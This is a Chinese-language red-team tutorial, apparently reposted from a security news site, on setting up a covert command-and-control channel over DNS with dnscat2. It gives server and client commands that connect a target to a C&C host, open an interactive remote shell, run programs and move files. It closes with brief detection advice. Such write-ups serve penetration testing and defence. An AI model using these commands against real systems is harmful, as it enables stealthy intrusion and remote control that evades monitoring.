當前位置:
首頁 > 最新 > 通過DNS控制主機以及執行命令

通過DNS控制主機以及執行命令

即使在一些限制非常嚴格的環境下,DNS協議還是允許處理內部和外部的通訊的。所以通過dns就可以建立起目標主機和命令&控制伺服器之間的通訊。由於命令和數據包都是在合法的dns查詢中傳輸的,所以很不容易被檢測到。

Dnscat2是可以實現這一技術的,它可以通過dns協議創建一個命令和控制信道。這一工具使用基於C語言編寫的客戶端(種植體),客戶端在目標機器執行,進而與服務端建立通信。通信過程中流量是進行加密傳輸的,並且通過預先共享的密鑰進行認證。

在kali2.0中安裝這一工具可以通過以下命令:

git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server/bundle install

命令以及控制伺服器可以通過下面命令進行初始化:

ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache

適用於windows的客戶端已經編譯好,你可以從https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip下載。下載完之後,只需運行一條於C&C服務端進行連接的命令:

dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169

在C&C服務端,紅隊就可以進行會話交互:

session -i 1

通過執行「help」命令會列出所有可執行的命令:

dnscat2的一些命令是可以上傳和下載文件的,並且可以通過執行其他程序得到一個遠程shell。

或者可以使用「shell「命令會打開另外一個會話。

以下輸出會在目標機器的命令行中顯示:

shell是互動式的,而且全部是通過dns進行傳輸的,速度而且很快。

通過調用exec命令可以遠程打開程序:

exec notepad.exe

Luke Baggett 已經開發出powershell版本的客戶端,並且已經在blackhillsinfosec網站中進行了介紹,這一版本的客戶端的命令和已經編譯好的客戶端命令是相同的,不過他還添加了一些其他功能,比如互動式的powershell會話以及可以在內存中執行任何程序。

以下命令就是在目標機器執行powershell版本客戶端:

PS C:> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169

還可以通過以下命令直接建立powershell會話:

exec psh

這樣會創建一個新的控制台,可以執行PowerShell命令和腳本:

結論

dnscat2通過DNS進行控制和執行命令有很多優點,比如:

1.支持多個會話

2.流量加密

3.通過使用密鑰防止MiTM攻擊

4.從內存中直接執行powershell腳本

5.隱蔽的

檢測這樣的攻擊是非常困難的,因為任意命令是通過合法的DNS流量進行傳輸的,所以應該強調監控DNS查詢的長度,並允許主機只與受信任的DNS伺服器進行通信。

點擊展開全文

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

通過DNS響應欺騙來繞過域控制驗證
Bashware攻擊:在Windows系統上運行Linux惡意軟體
無需Ptrace就能實現Linux進程間代碼注入
手機中突然多了幾款軟體,你猜是誰幹的?
「雌雄大盜」逃亡記:黑客劫持警方無線電網路協助歹徒離犯罪現場

TAG:嘶吼RoarTalk |